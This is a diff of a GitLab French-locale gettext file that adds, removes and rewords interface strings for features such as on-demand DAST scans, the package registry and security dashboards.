@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "Seulement les administrateurs"
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr "Seuls les membres du projet peuvent commenter."
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr "Ouvrir"
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "Requêtes sortantes"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr "Informations du paquet"
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr "Veuillez choisir une URL de groupe sans caractères spéciaux."
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr "État actuel"
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr "Supprimer un compte"
-
msgid "Profiles|Delete account"
msgstr "Supprimer le compte"
-msgid "Profiles|Delete your account?"
-msgstr "Supprimer votre compte ?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "Supprimer un compte aura les conséquences suivantes :"
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr "Personne"
msgid "ProjectFileTree|Name"
msgstr "Nom"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Jamais"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr "Opérateur"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,12 +19872,21 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr "Seuil"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "%{exporters} avec %{metrics} ont été trouvés"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">Aucune <a href=\"%{docsUrl}\">métrique commune</a> trouvée</p>"
-
msgid "PrometheusService|Active"
msgstr "Actif"
@@ -19370,6 +19944,9 @@ msgstr "Plus d’informations"
msgid "PrometheusService|New metric"
msgstr "Nouvelle métrique"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr "Recherches récentes"
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr "Supprimer la priorité"
-msgid "Remove project"
-msgstr "Supprimer le projet"
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr "Un groupe supprimé ne peut être restauré !"
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr "Paramètres du dépôt"
-msgid "Repository URL"
-msgstr "URL du dépôt"
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "Résoudre les conflits sur la branche source"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr "Exécuter des pipelines CI / CD pour les dépôts externes"
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr "Enregistrer"
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr "Enregistrer les variables"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr "Rechercher des branches"
msgid "Search branches and tags"
msgstr "Rechercher dans les branches et les étiquettes"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "Secret"
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "Sélectionner"
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "Sélectionner une branche source"
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr "Service d’assistance"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Modèles de service"
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr "Une erreur est survenue lors de la tentative de modification de la confi
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Une erreur est survenue lors de la tentative de modification de l’état de verrouillage de ce·t·te %{issuableDisplayName}"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "Une erreur s’est produite lors du basculement du bouton"
@@ -22622,11 +23271,11 @@ msgstr "Une erreur est survenue, impossible d’ajouter %{project} au tableau de
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
-msgstr "Une erreur est survenue, impossible de supprimer le projet"
+msgid "Something went wrong, unable to get projects"
+msgstr ""
msgid "Something went wrong, unable to search projects"
msgstr ""
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "Synchroniser les informations"
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr "Étiquettes"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "Flux d’étiquettes"
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "Analyse de la couverture des tests"
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,16 +24531,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "La recherche globale avancée de Gitlab est un outil puissant qui vous fait gagner du temps. Au lieu de perdre du temps à recréer du code existant, vous pouvez maintenant faire des recherches dans le code d’autres équipes afin de vous aider sur votre projet."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Le certificat X.509 à utiliser lorsque l’authentification TLS mutuelle est requise pour communiquer avec le service d’autorisation externe. Si ce champ est vide, le certificat du serveur est tout de même validé lors de l’accès via HTTPS."
@@ -23935,6 +24596,9 @@ msgstr "L’ensemble d’événements ajoutés aux données recueillies pour cet
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "La connexion expirera après %{timeout}. Pour les dépôts qui nécessitent plus de temps, utilisez une combinaison de clone et push."
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "Votre projet est accessible sans aucune authentification."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr "Une erreur s’est produite lors de l’abonnement à cette étiquette."
msgid "There was an error when unsubscribing from this label."
msgstr "Une erreur s’est produite lors de la désinscription à cette étiquette."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr "Offres tierces"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr "Ce ticket est confidentiel"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr "Ce projet n’a pas encore de page d’accueil de wiki"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
